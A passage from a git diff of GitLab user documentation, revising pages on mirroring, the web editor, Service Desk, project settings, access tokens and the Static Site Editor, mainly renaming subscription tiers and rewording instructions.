GitLab generates a 4096-bit RSA key that can be copied by clicking the **Copy SS You then need to add the public SSH key to the other repository's configuration: - If the other repository is hosted on GitLab, you should add the public SSH key - as a [Deploy Key](../../../ssh/README.md#deploy-keys). + as a [deploy key](../../../ssh/README.md#deploy-keys). - If the other repository is hosted elsewhere, you may need to add the key to your user's `authorized_keys` file. Paste the entire public SSH key into the file on its own line and save it. @@ -403,17 +411,19 @@ to generate a new key. You'll have to update the other repository with the new key to keep the mirror running. NOTE: -The generated keys are stored in the GitLab database, not in the filesystem. Therefore, +The generated keys are stored in the GitLab database, not in the file system. Therefore, SSH public key authentication for mirrors cannot be used in a pre-receive hook. -## Forcing an update **(CORE)** +## Forcing an update **(FREE)** While mirrors are scheduled to update automatically, you can always force an update by using the update button which is available on the **Mirroring repositories** section of the **Repository Settings** page.  -## Bidirectional mirroring **(STARTER)** +## Bidirectional mirroring **(PREMIUM)** + +> Moved to GitLab Premium in 13.9. WARNING: Bidirectional mirroring may cause conflicts. @@ -536,7 +546,9 @@ Note that this sample has a few limitations: - The script circumvents the Git hook quarantine environment because the update of `$TARGET_REPO` is seen as a ref update and Git will complain about it. -### Mirroring with Perforce Helix via Git Fusion **(STARTER)** +### Mirroring with Perforce Helix via Git Fusion **(PREMIUM)** + +> Moved to GitLab Premium in 13.9. WARNING: Bidirectional mirroring should not be used as a permanent configuration. Refer to diff --git a/doc/user/project/repository/web_editor.md b/doc/user/project/repository/web_editor.md index b9477da3937..a9e249bb8c3 100644 --- a/doc/user/project/repository/web_editor.md +++ b/doc/user/project/repository/web_editor.md @@ -21,8 +21,8 @@ Choose **New file** from the dropdown. Enter a filename in the **Filename** box. Then, add file content in the editor area. Add a descriptive commit message and choose a branch. The branch field -will default to the branch you were viewing in the file browser. If you enter -a new branch name, a checkbox will appear, allowing you to start a new merge +defaults to the branch you were viewing in the file browser. If you enter +a new branch name, a checkbox displays, allowing you to start a new merge request after you commit the changes. When you are satisfied with your new file, click **Commit Changes** at the bottom. @@ -31,46 +31,45 @@ When you are satisfied with your new file, click **Commit Changes** at the botto ### Shortcuts -You can use handy shortcuts when editing a file through the Web Editor, which are the same as -the Web IDE's. For details, see the documentation for [Command Palette](../web_ide/index.md#command-palette). +You can use shortcuts when editing a file through the Web Editor. It uses the same shortcuts +as the Web IDE. For details, read the documentation for [Command Palette](../web_ide/index.md#command-palette). ### Template dropdowns When starting a new project, there are some common files that the new project -might need too. Therefore a message will be displayed by GitLab to make this -easy for you. +might need. GitLab displays a message to help you:  -When clicking on either `LICENSE` or `.gitignore` and so on, a dropdown will be displayed -to provide you with a template that might be suitable for your project. +When clicking on either `LICENSE` or `.gitignore` and so on, a dropdown displays +to provide you a template that may be suitable for your project:  -The license, changelog, contribution guide, or `.gitlab-ci.yml` file could also -be added through a button on the project page. In the example below, the license +The license, changelog, contribution guide, or `.gitlab-ci.yml` file can also +be added through a button on the project page. In this example, the license has already been created, which creates a link to the license itself.  NOTE: -The **Set up CI/CD** button will not appear on an empty repository. You have to at -least add a file in order for the button to show up. +The **Set up CI/CD** button does not appear on an empty repository. For the button +to display, add a file to your repository. ## Upload a file The ability to create a file is great when the content is text. However, this -doesn't work well for binary data such as images, PDFs, or other file types. In +doesn't work well for binary data such as images, PDFs, or other binary file types. In this case, you need to upload a file. From a project's files page, click the '+' button to the right of the branch -selector. Choose **Upload file** from the dropdown. +selector. Choose **Upload file** from the dropdown:  -Once the upload dialog pops up, there are two ways to upload your file. Either -drag and drop a file on the popup or use the **click to upload** link. A file -preview will appear once you have selected a file to upload. +After the upload dialog pops up, there are two ways to upload your file. Either +drag and drop a file on the popup or use the **click to upload** link. After you +select a file to upload, a file preview displays. Enter a commit message, choose a branch, and click **Upload file** when you are ready. @@ -100,19 +99,22 @@ There are multiple ways to create a branch from the GitLab web interface. > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/2808) in GitLab 8.6. -If your development workflow dictates to have an issue for every merge -request, you can quickly create a branch directly from the issue to speed the process up. -The new branch, and later its merge request, will be marked as related to this issue. -Once merged, the MR will automatically close the issue. +If your development workflow requires an issue for every merge +request, you can create a branch directly from the issue to speed the process up. +The new branch, and later its merge request, are marked as related to this issue. +Once merged, the merge request closes the issue. You can see a **Create merge request** dropdown below the issue description. -NOTE: -You won't see the **Create merge request** button if there is already a branch with the same -name or a referenced merge request or your project has an active -fork relationship. -If you would like to make this button appear, a possible workaround is to [remove your project's -fork relationship](../settings/index.md#removing-a-fork-relationship). Once removed, the fork -relationship cannot be restored. This project will no longer be able to receive or send merge requests to the source project or other forks. +The **Create merge request** button doesn't display if: + +- A branch with the same name already exists. +- The branch already has a referenced merge request. +- Your project has an active fork relationship. + +To make this button appear, one possible workaround is to +[remove your project's fork relationship](../settings/index.md#removing-a-fork-relationship). +After removal, the fork relationship cannot be restored. This project can no longer +be able to receive or send merge requests to the source project, or other forks.  @@ -120,46 +122,47 @@ This dropdown contains the options **Create merge request and branch** and **Cre  -Once you choose one of these options, a new branch or branch and merge request -will be created based on the default -branch of your project (by default, `master`). The branch name will be based on -the title of the issue, and as a prefix, it will have its internal ID. Thus, the example -screenshot above will create a branch named +After selecting one of these options, a new branch or branch and merge request +is created based on your project's default branch. By default, this branch is `master`. +The branch name is based on an internal ID, and the issue title. The example +screenshot above creates a branch named `2-make-static-site-auto-deploy-and-serve`. When you click the **Create branch** button in an empty -repository project, GitLab automatically creates a `master` branch, commits -a blank `README.md` file to it, and creates and redirects you to a new branch -based on the issue title. -If your [project is already configured with a deployment service](../integrations/overview.md), -such as Kubernetes, GitLab takes one step further and prompts you to set up -[auto deploy](../../../topics/autodevops/stages.md#auto-deploy) -by helping you create a `.gitlab-ci.yml` file. +repository project, GitLab performs these actions: + +- Creates a `master` branch. +- Commits a blank `README.md` file to it. +- Creates and redirects you to a new branch based on the issue title. +- _If your project is [configured with a deployment service](../integrations/overview.md) like Kubernetes,_ + GitLab prompts you to set up [auto deploy](../../../topics/autodevops/stages.md#auto-deploy) + by helping you create a `.gitlab-ci.yml` file. After the branch is created, you can edit files in the repository to fix -the issue. When a merge request is created based on the newly created branch, -the description field will automatically display the [issue closing pattern](../issues/managing_issues.md#closing-issues-automatically) -`Closes #ID`, where `ID` the ID of the issue. This will close the issue once the +the issue. When a merge request is created based on the newly-created branch, +the description field displays the [issue closing pattern](../issues/managing_issues.md#closing-issues-automatically) +`Closes #ID`, where `ID` is the ID of the issue. This closes the issue when the merge request is merged. ### Create a new branch from a project's dashboard If you want to make changes to several files before creating a new merge -request, you can create a new branch upfront. From a project's files page, -choose **New branch** from the dropdown. +request, you can create a new branch upfront. - +1. From a project's files page, choose **New branch** from the dropdown. -Enter a new **Branch name**. Optionally, change the **Create from** field -to choose which branch, tag, or commit SHA this new branch will originate from. -This field will autocomplete if you start typing an existing branch or tag. -Click **Create branch** and you will be returned to the file browser on this new -branch. +  - +1. Enter a new **Branch name**. +1. (Optional) Change the **Create from** field to choose which branch, tag, or + commit SHA this new branch originates from. This field autocompletes if you + start typing an existing branch or tag. +1. Click **Create branch** to return to the file browser on this new branch. + +  You can now make changes to any files, as needed. When you're ready to merge -the changes back to master, you can use the widget at the top of the screen. +the changes back to `master`, you can use the widget at the top of the screen. This widget only appears for a period of time after you create the branch or modify files. @@ -167,31 +170,35 @@ modify files. ## Create a new tag -Tags are useful for marking major milestones such as production releases, -release candidates, and more. You can create a tag from a branch or a commit -SHA. From a project's files page, choose **New tag** from the dropdown. +Tags help you mark major milestones such as production releases and +release candidates. You can create a tag from a branch or a commit +SHA: + +1. From a project's files page, choose **New tag** from the dropdown. - +  -Give the tag a name such as `v1.0.0`. Choose the branch or SHA from which you -would like to create this new tag. You can optionally add a message and -release notes. The release notes section supports Markdown format and you can -also upload an attachment. Click **Create tag**, and you will be taken to the tag -list page. +1. Give the tag a name such as `v1.0.0`. +1. Choose the branch or SHA from which you want to create this new tag. +1. (Optional) Add a message and release notes. The release notes section supports + Markdown format. +1. (Optional) Upload an attachment. +1. Click **Create tag**, and GitLab redirects you to the tag list page. - +  ## Tips When creating or uploading a new file or creating a new directory, you can -trigger a new merge request rather than committing directly to `master`. Enter -a new branch name in the **Target branch** field. You will notice a checkbox -appear that is labeled **Start a new merge request with these changes**. After -you commit the changes you will be taken to a new merge request form. +trigger a new merge request rather than committing directly to `master`: + +1. Enter a new branch name in the **Target branch** field. +1. GitLab displays the **Start a new merge request with these changes** check box. +1. Commit your changes, and GitLab redirects you to a new merge request form. - +  -If you'd prefer _not_ to use your primary email address for commits created +If you'd prefer to not use your primary email address for commits created through the web editor, you can choose to use another of your linked email addresses from the **User Settings > Edit Profile** page. diff --git a/doc/user/project/repository/x509_signed_commits/index.md b/doc/user/project/repository/x509_signed_commits/index.md index 639bca0d354..29c1c32145d 100644 --- a/doc/user/project/repository/x509_signed_commits/index.md +++ b/doc/user/project/repository/x509_signed_commits/index.md @@ -5,7 +5,7 @@ info: "To determine the technical writer assigned to the Stage/Group associated type: concepts, howto --- -# Signing commits and tags with X.509 +# Signing commits and tags with X.509 **(FREE)** [X.509](https://en.wikipedia.org/wiki/X.509) is a standard format for public key certificates issued by a public or private Public Key Infrastructure (PKI). diff --git a/doc/user/project/requirements/index.md b/doc/user/project/requirements/index.md index c99b0d91523..c7dda81685c 100644 --- a/doc/user/project/requirements/index.md +++ b/doc/user/project/requirements/index.md @@ -23,6 +23,10 @@ When a feature is no longer necessary, you can [archive the related requirement] <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> For an overview, see [GitLab 12.10 Introduces Requirements Management](https://www.youtube.com/watch?v=uSS7oUNSEoU). +<i class="fa fa-youtube-play youtube" aria-hidden="true"></i> +For a more in-depth walkthrough using a [demonstration project](https://gitlab.com/gitlab-org/requiremeents-mgmt), +see [GitLab Requirements Traceability Walkthrough](https://youtu.be/VIiuTQYFVa0) (Feb 2021). +  ## Create a requirement @@ -260,7 +264,9 @@ For GitLab.com, it is set to 10 MB. ## Export requirements to a CSV file -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/290813) in GitLab 13.8. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/290813) in GitLab 13.8. +> - Revised CSV column headers [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/299247) in GitLab 13.9. +> - Ability to select which fields to export [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/290823) in GitLab 13.9. You can export GitLab requirements to a [CSV file](https://en.wikipedia.org/wiki/Comma-separated_values) sent to your default notification @@ -275,19 +281,41 @@ Users with Reporter or higher [permissions](../../permissions.md) can export req To export requirements: 1. In a project, go to **Requirements**. -1. Select the **Export as CSV** icon (**{export}**) in the top right. A confirmation modal appears. +1. In the top right, select the **Export as CSV** icon (**{export}**). + + A confirmation modal appears. + +1. Under **Advanced export options**, select which fields to export. + + All fields are selected by default. To exclude a field from being exported, clear the checkbox next to it. + 1. Select **Export requirements**. The exported CSV file is sent to the email address associated with your user. ### Exported CSV file format +<!-- vale gitlab.Spelling = NO --> You can preview the exported CSV file in a spreadsheet editor, such as Microsoft Excel, OpenOffice Calc, or Google Sheets. +<!-- vale gitlab.Spelling = YES --> + +The exported CSV file contains the following headers: + +- In GitLab 13.8: + + - Requirement ID + - Title + - Description + - Author Username + - Latest Test Report State + - Latest Test Report Created At (UTC) -The exported CSV file contains the following columns: +- In GitLab 13.9 and later: -- Requirement ID -- Title -- Description -- Author Username -- Latest Test Report State -- Latest Test Report Created At (UTC) + - Requirement ID + - Title + - Description + - Author + - Author Username + - Created At (UTC) + - State + - State Updated At (UTC) diff --git a/doc/user/project/security_dashboard.md b/doc/user/project/security_dashboard.md deleted file mode 100644 index d9440e8deea..00000000000 --- a/doc/user/project/security_dashboard.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../application_security/security_dashboard/index.md' ---- - -This document was moved to [another location](../application_security/security_dashboard/index.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/service_desk.md b/doc/user/project/service_desk.md index 76156690fe7..debe5c51d51 100644 --- a/doc/user/project/service_desk.md +++ b/doc/user/project/service_desk.md @@ -4,11 +4,9 @@ group: Certify info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Service Desk **(CORE)** +# Service Desk **(FREE)** -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/149) in [GitLab Premium](https://about.gitlab.com/pricing/) 9.1. -> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/214839) to [GitLab Starter](https://about.gitlab.com/pricing/) in 13.0. -> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/215364) to [GitLab Core](https://about.gitlab.com/pricing/) in 13.2. +> Moved to GitLab Free in 13.2. Service Desk is a module that allows your team to connect with any external party through email, without any external tools. @@ -34,7 +32,7 @@ It provides a unique email address for end users to create issues in a project. Follow-up notes can be sent either through the GitLab interface or by email. End users only see the thread through email. -For instance, let's assume you develop a game for iOS or Android. +For example, let's assume you develop a game for iOS or Android. The codebase is hosted in your GitLab instance, built and deployed with GitLab CI/CD. @@ -56,74 +54,99 @@ Here's how Service Desk works for you: ## Configuring Service Desk -NOTE: -Service Desk is enabled on GitLab.com. -You can skip step 1 below; you only need to enable it per project. +Users with Maintainer and higher access in a project can configure Service Desk. + +Service Desk issues are [confidential](issues/confidential_issues.md), so they are +only visible to project members. In GitLab 11.7 we updated the generated email +address format. The older format is still supported, so existing aliases or +contacts still work. + +If you have [templates](description_templates.md) in your repository, you can optionally select +one from the selector menu to append it to all Service Desk issues. -If you have project maintainer access you have the option to set up Service Desk. Follow these steps: +To enable Service Desk in your project: -1. [Set up incoming email](../../administration/incoming_email.md#set-it-up) for the GitLab instance. +1. (GitLab self-managed only) [Set up incoming email](../../administration/incoming_email.md#set-it-up) for the GitLab instance. We recommend using [email sub-addressing](../../administration/incoming_email.md#email-sub-addressing), - but in GitLab 11.7 and later you can also use [catch-all mailboxes](../../administration/incoming_email.md#catch-all-mailbox). -1. Navigate to your project's **Settings > General** and locate the **Service Desk** section. + but you can also use [catch-all mailboxes](../../administration/incoming_email.md#catch-all-mailbox). +1. In a project, in the left sidebar, go to **Settings > General** and expand the **Service Desk** section. 1. Enable the **Activate Service Desk** toggle. This reveals a unique email address to email issues - to the project. These issues are [confidential](issues/confidential_issues.md), so they are - only visible to project members. Note that in GitLab 11.7, we updated the generated email - address's format. The older format is still supported, however, allowing existing aliases or - contacts to continue working. + to the project. - WARNING: - This email address can be used by anyone to create an issue on this project, regardless - of their access level to your GitLab instance. We recommend **putting this behind an alias** so it can be - changed if needed. We also recommend **[enabling Akismet](../../integration/akismet.md)** on your GitLab - instance to add spam checking to this service. Unblocked email spam would result in many spam - issues being created. +Service Desk is now enabled for this project! To access it in a project, in the left sidebar, select +**Issues > Service Desk**. - If you have [templates](description_templates.md) in your repository, you can optionally select - one from the selector menu to append it to all Service Desk issues. +WARNING: +Anyone in your project can use the Service Desk email address to create an issue in this project, **regardless +of their access level** to your GitLab instance. -Service Desk is now enabled for this project! You should be able to access it from your project's -**Issues** menu. +To improve your project's security, we recommend the following: - +- Put the Service Desk email address behind an alias on your email system so you can change it later. +- [Enable Akismet](../../integration/akismet.md) on your GitLab instance to add spam checking to this service. + Unblocked email spam can result in many spam issues being created. + +The unique internal email address is visible to project members with Maintainer (or higher) +[permission level](../permissions.md) +in your GitLab instance. However, when using an email alias externally, an end user +(issue creator) cannot see the internal email address displayed in the information note. ### Using customized email templates -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/2460) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.7. -> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/214839) to [GitLab Starter](https://about.gitlab.com/pricing/) in 13.0. -> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/215364) to [GitLab Core](https://about.gitlab.com/pricing/) in 13.2. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/2460) in GitLab Premium 12.7. +> - Moved to GitLab Free in 13.2. An email is sent to the author when: - A user submits a new issue using Service Desk. - A new note is created on a Service Desk issue. -The body of these email messages can be customized by using templates. To create a new customized template, -create a new Markdown (`.md`) file inside the `.gitlab/service_desk_templates/` -directory in your repository. Commit and push to your default branch. +You can customize the body of these email messages with templates. +Save your templates in the `.gitlab/service_desk_templates/` +directory in your repository. + +With Service Desk, you can use templates for: + +- [Thank you emails](#thank-you-email) +- [New note emails](#new-note-email) +- [New Service Desk issues](#new-service-desk-issues) #### Thank you email -The **Thank you email** is the email sent to a user after they submit an issue. -The filename of the template has to be `thank_you.md`. -There are a few placeholders you can use which are automatically replaced in the email: +When a user submits an issue through Service Desk, GitLab sends a **thank you email**. +You must name the template file `thank_you.md`. + +You can use these placeholders to be automatically replaced in each email: - `%{ISSUE_ID}`: issue IID - `%{ISSUE_PATH}`: project path appended with the issue IID -As the Service Desk issues are created as confidential (only project members can see them) -the response email does not provide the issue link. +Because Service Desk issues are created as [confidential](issues/confidential_issues.md) (only project members can see them), +the response email does not contain the issue link. #### New note email -When a user-submitted issue receives a new comment, GitLab sends a **New note email** -to the user. The filename of this template must be `new_note.md`, and you can -use these placeholders in the email: +When a user-submitted issue receives a new comment, GitLab sends a **new note email**. +You must name the template file `new_note.md`. + +You can use these placeholders to be automatically replaced in each email: - `%{ISSUE_ID}`: issue IID - `%{ISSUE_PATH}`: project path appended with the issue IID - `%{NOTE_TEXT}`: note text +#### New Service Desk issues + +You can select one [issue description template](description_templates.md#creating-issue-templates) +**per project** to be appended to every new Service Desk issue's description. +Issue description templates should reside in your repository's `.gitlab/issue_templates/` directory. + +To use a custom issue template with Service Desk, in your project: + +1. [Create a description template](description_templates.md#creating-issue-templates) +1. Go to **Settings > General > Service Desk**. +1. From the dropdown **Template to append to all Service Desk issues**, select your template. + ### Using custom email display name > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/7529) in GitLab 12.8. @@ -139,7 +162,7 @@ To edit the custom email display name: ### Using custom email address -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/2201) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.0. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/2201) in GitLab Premium 13.0. > - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/284656) in GitLab 13.8. If the `service_desk_email` is configured, then you can create Service Desk @@ -215,7 +238,8 @@ The configuration options are the same as for configuring ## Using Service Desk -There are a few ways Service Desk can be used. +You can use Service Desk to [create an issue](#as-an-end-user-issue-creator) or [respond to one](#as-a-responder-to-the-issue). +In these issues, you can also see our friendly neighborhood [Support Bot](#support-bot-user). ### As an end user (issue creator) diff --git a/doc/user/project/settings/import_export.md b/doc/user/project/settings/import_export.md index 27727890383..6f230f1798a 100644 --- a/doc/user/project/settings/import_export.md +++ b/doc/user/project/settings/import_export.md @@ -18,7 +18,7 @@ The **GitLab import/export** button is displayed if the project import option is See also: - [Project import/export API](../../../api/project_import_export.md) -- [Project import/export administration Rake tasks](../../../administration/raketasks/project_import_export.md) **(CORE ONLY)** +- [Project import/export administration Rake tasks](../../../administration/raketasks/project_import_export.md) **(FREE SELF)** - [Group import/export](../../group/settings/import_export.md) - [Group import/export API](../../../api/group_import_export.md) @@ -180,14 +180,14 @@ all imported projects are given the visibility of `Private`. NOTE: The maximum import file size can be set by the Administrator, default is `0` (unlimited). -As an administrator, you can modify the maximum import file size. To do so, use the `max_import_size` option in the [Application settings API](../../../api/settings.md#change-application-settings) or the [Admin Area UI](../../admin_area/settings/account_and_limit_settings.md). +As an administrator, you can modify the maximum import file size. To do so, use the `max_import_size` option in the [Application settings API](../../../api/settings.md#change-application-settings) or the [Admin Area UI](../../admin_area/settings/account_and_limit_settings.md). Default [modified](https://gitlab.com/gitlab-org/gitlab/-/issues/251106) from 50MB to 0 in GitLab 13.8. ### Project import status You can query an import through the [Project import/export API](../../../api/project_import_export.md#import-status). As described in the API documentation, the query may return an import error or exceptions. -### Import large projects **(CORE ONLY)** +### Import large projects **(FREE SELF)** If you have a larger project, consider using a Rake task, as described in our [developer documentation](../../../development/import_project.md#importing-via-a-rake-task). diff --git a/doc/user/project/settings/index.md b/doc/user/project/settings/index.md index 26ef5e2260a..8ab82fe7296 100644 --- a/doc/user/project/settings/index.md +++ b/doc/user/project/settings/index.md @@ -5,7 +5,7 @@ info: "To determine the technical writer assigned to the Stage/Group associated type: reference, index, howto --- -# Project settings +# Project settings **(FREE)** NOTE: Only project maintainers and administrators have the [permissions](../../permissions.md#project-members-permissions) @@ -40,6 +40,26 @@ You can select a framework label to identify that your project has certain compl NOTE: Compliance framework labels do not affect your project settings. +#### Custom compliance frameworks + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/276221) in GitLab 13.9. +> - It's [deployed behind a feature flag](../../feature_flags.md), disabled by default. +> - It's disabled on GitLab.com. +> - It's not recommended for production use. +> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-custom-compliance-frameworks). **(PREMIUM)** + +WARNING: +This feature might not be available to you. Check the **version history** note above for details. + +GitLab 13.9 introduces custom compliance frameworks at the group-level. A group owner can create a compliance framework label +and assign it to any number of projects within that group or subgroups. When this feature is enabled, projects can only +be assigned compliance framework labels that already exist within that group. + +If existing [Compliance frameworks](#compliance-framework) are not sufficient, project and group owners +can now create their own. + +New compliance framework labels can be created and updated using GraphQL. + ### Sharing and permissions For your repository, you can set up features such as public access, repository features, @@ -59,7 +79,7 @@ Use the switches to enable or disable the following features: | **Issues** | ✓ | Activates the GitLab issues tracker | | **Repository** | ✓ | Enables [repository](../repository/) functionality | | **Merge Requests** | ✓ | Enables [merge request](../merge_requests/) functionality; also see [Merge request settings](#merge-request-settings) | -| **Forks** | ✓ | Enables [forking](../index.md#fork-a-project) functionality | +| **Forks** | ✓ | Enables [forking](../working_with_projects.md#fork-a-project) functionality | | **Pipelines** | ✓ | Enables [CI/CD](../../../ci/README.md) functionality | | **Container Registry** | | Activates a [registry](../../packages/container_registry/) for your Docker images | | **Git Large File Storage** | | Enables the use of [large files](../../../topics/git/lfs/index.md#git-large-file-storage-lfs) | @@ -120,7 +140,7 @@ Set up your project's merge request settings: - Set up the merge request method (merge commit, [fast-forward merge](../merge_requests/fast_forward_merge.md)). - Add merge request [description templates](../description_templates.md#description-templates). -- Enable [merge request approvals](../merge_requests/merge_request_approvals.md). **(STARTER)** +- Enable [merge request approvals](../merge_requests/merge_request_approvals.md). - Enable [merge only if pipeline succeeds](../merge_requests/merge_when_pipeline_succeeds.md). - Enable [merge only when all threads are resolved](../../discussions/index.md#only-allow-merge-requests-to-be-merged-if-all-threads-are-resolved). - Enable [`delete source branch after merge` option by default](../merge_requests/getting_started.md#deleting-the-source-branch) @@ -128,7 +148,7 @@ Set up your project's merge request settings:  -### Service Desk **(STARTER)** +### Service Desk Enable [Service Desk](../service_desk.md) for your project to offer customer support. @@ -201,7 +221,7 @@ To rename a repository: Remember that this can have unintended side effects since everyone with the old URL won't be able to push or pull. Read more about what happens with the -[redirects when renaming repositories](../index.md#redirects-when-changing-repository-paths). +[redirects when renaming repositories](../repository/index.md#redirects-when-changing-repository-paths). #### Transferring an existing project into another namespace @@ -225,7 +245,7 @@ To transfer a project: Once done, you will be taken to the new project's namespace. At this point, read what happens with the -[redirects from the old project to the new one](../index.md#redirects-when-changing-repository-paths). +[redirects from the old project to the new one](../repository/index.md#redirects-when-changing-repository-paths). NOTE: GitLab administrators can use the administration interface to move any project to any @@ -245,8 +265,8 @@ To delete a project: This action: - Deletes a project including all associated resources (issues, merge requests etc). -- From [GitLab 13.2](https://gitlab.com/gitlab-org/gitlab/-/issues/220382) on [Premium or Silver](https://about.gitlab.com/pricing/) or higher tiers, -group administrators can [configure](../../group/index.md#enabling-delayed-project-removal) projects within a group +- From [GitLab 13.2](https://gitlab.com/gitlab-org/gitlab/-/issues/220382) on [Premium](https://about.gitlab.com/pricing/) or higher tiers, +group owners can [configure](../../group/index.md#enabling-delayed-project-removal) projects within a group to be deleted after a delayed period. When enabled, actual deletion happens after number of days specified in [instance settings](../../admin_area/settings/visibility_and_access_controls.md#default-deletion-delay). @@ -299,3 +319,22 @@ Add the URL of a Jaeger server to allow your users to [easily access the Jaeger [Add Storage credentials](../../../operations/incident_management/status_page.md#sync-incidents-to-the-status-page) to enable the syncing of public Issues to a [deployed status page](../../../operations/incident_management/status_page.md#create-a-status-page-project). + +### Enable or disable custom compliance frameworks **(PREMIUM)** + +Enabling or disabling custom compliance frameworks is under development and not ready for production use. It is +deployed behind a feature flag that is **disabled by default**. +[GitLab administrators with access to the GitLab Rails console](../../../administration/feature_flags.md) +can enable it. + +To enable it: + +```ruby +Feature.enable(:ff_custom_compliance_frameworks) +``` + +To disable it: + +```ruby +Feature.disable(:ff_custom_compliance_frameworks) +``` diff --git a/doc/user/project/settings/project_access_tokens.md b/doc/user/project/settings/project_access_tokens.md index 39de9ab9ca2..590f549577e 100644 --- a/doc/user/project/settings/project_access_tokens.md +++ b/doc/user/project/settings/project_access_tokens.md @@ -8,13 +8,11 @@ type: reference, howto # Project access tokens NOTE: -Project access tokens are supported for self-managed instances on Core and above. They are also supported on GitLab.com Bronze and above (excluding [trial licenses](https://about.gitlab.com/free-trial/)). +Project access tokens are supported for self-managed instances on Free and above. They are also supported on GitLab SaaS Premium and above (excluding [trial licenses](https://about.gitlab.com/free-trial/)). > - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/2587) in GitLab 13.0. -> - It was [deployed](https://gitlab.com/groups/gitlab-org/-/epics/2587) behind a feature flag, disabled by default. -> - [Became enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/218722) in GitLab 13.3. -> - It's recommended for production use. -> - [Became available on GitLab.com](https://gitlab.com/gitlab-org/gitlab/-/issues/235765) in 13.5 for paid groups only. +> - [Became available on GitLab.com](https://gitlab.com/gitlab-org/gitlab/-/issues/235765) in GitLab 13.5 for paid groups only. +> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/235765) in GitLab 13.5. WARNING: This feature might not be available to you. Check the **version history** note above for details. diff --git a/doc/user/project/slash_commands.md b/doc/user/project/slash_commands.md deleted file mode 100644 index 5844861c91e..00000000000 --- a/doc/user/project/slash_commands.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: 'quick_actions.md' ---- - -This document was moved to [user/project/quick_actions.md](quick_actions.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/static_site_editor/index.md b/doc/user/project/static_site_editor/index.md index 07f122a7828..002eb398406 100644 --- a/doc/user/project/static_site_editor/index.md +++ b/doc/user/project/static_site_editor/index.md @@ -6,11 +6,11 @@ type: reference, how-to description: "The static site editor enables users to edit content on static websites without prior knowledge of the underlying templating language, site architecture or Git commands." --- -# Static Site Editor **(CORE)** +# Static Site Editor **(FREE)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/28758) in GitLab 12.10. > - WYSIWYG editor [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/214559) in GitLab 13.0. -> - Non-Markdown content blocks uneditable on the WYSIWYG mode [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/216836) in GitLab 13.3. +> - Non-Markdown content blocks not editable on the WYSIWYG mode [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/216836) in GitLab 13.3. > - Formatting Markdown [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/49052) in GitLab 13.7. Static Site Editor (SSE) enables users to edit content on static websites without @@ -23,8 +23,8 @@ and submit the changes for review. The Static Site Editor allows collaborators to submit changes to static site files seamlessly. For example: -- Non-technical collaborators can easily edit a page directly from the browser; - they don't need to know Git and the details of your project to be able to contribute. +- Non-technical collaborators can edit a page directly from the browser. + They don't need to know Git and the details of your project to contribute. - Recently hired team members can quickly edit content. - Temporary collaborators can jump from project to project and quickly edit pages instead of having to clone or fork every single project they need to submit changes to. @@ -68,11 +68,11 @@ The editor can then navigate to the merge request to assign it to a colleague fo ## Set up your project First, set up the project. Once done, you can use the Static Site Editor to -easily [edit your content](#edit-content). +[edit your content](#edit-content). 1. To get started, create a new project from the [Static Site Editor - Middleman](https://gitlab.com/gitlab-org/project-templates/static-site-editor-middleman) template. You can either [fork it](../repository/forking_workflow.md#creating-a-fork) - or [create a new project from a template](../../../gitlab-basics/create-project.md#built-in-templates). + or [create a new project from a template](../working_with_projects.md#built-in-templates). 1. Edit the [`data/config.yml`](#static-site-generator-configuration) configuration file to replace `<username>` and `<project-name>` with the proper values for your project's path. @@ -101,7 +101,7 @@ To edit a file: wish to edit the raw Markdown instead, you can toggle the **Markdown** mode in the bottom-right corner. 1. When you're done, click **Submit changes...**. -1. (Optional) Adjust the default title and description of the merge request that will be submitted +1. (Optional) Adjust the default title and description of the merge request, to submit with your changes. Alternatively, select a [merge request template](../../../user/project/description_templates.md#creating-merge-request-templates) from the dropdown menu and edit it accordingly. 1. Click **Submit changes**. @@ -154,9 +154,9 @@ so you can verify the correct image is included and there aren't any references You can embed YouTube videos on the WYSIWYG mode by clicking the video icon (**{live-preview}**). The following URL/ID formats are supported: -- YouTube watch URL (e.g. `https://www.youtube.com/watch?v=0t1DgySidms`) -- YouTube embed URL (e.g. `https://www.youtube.com/embed/0t1DgySidms`) -- YouTube video ID (e.g. `0t1DgySidms`) +- **YouTube watch URLs**: `https://www.youtube.com/watch?v=0t1DgySidms` +- **YouTube embed URLs**: 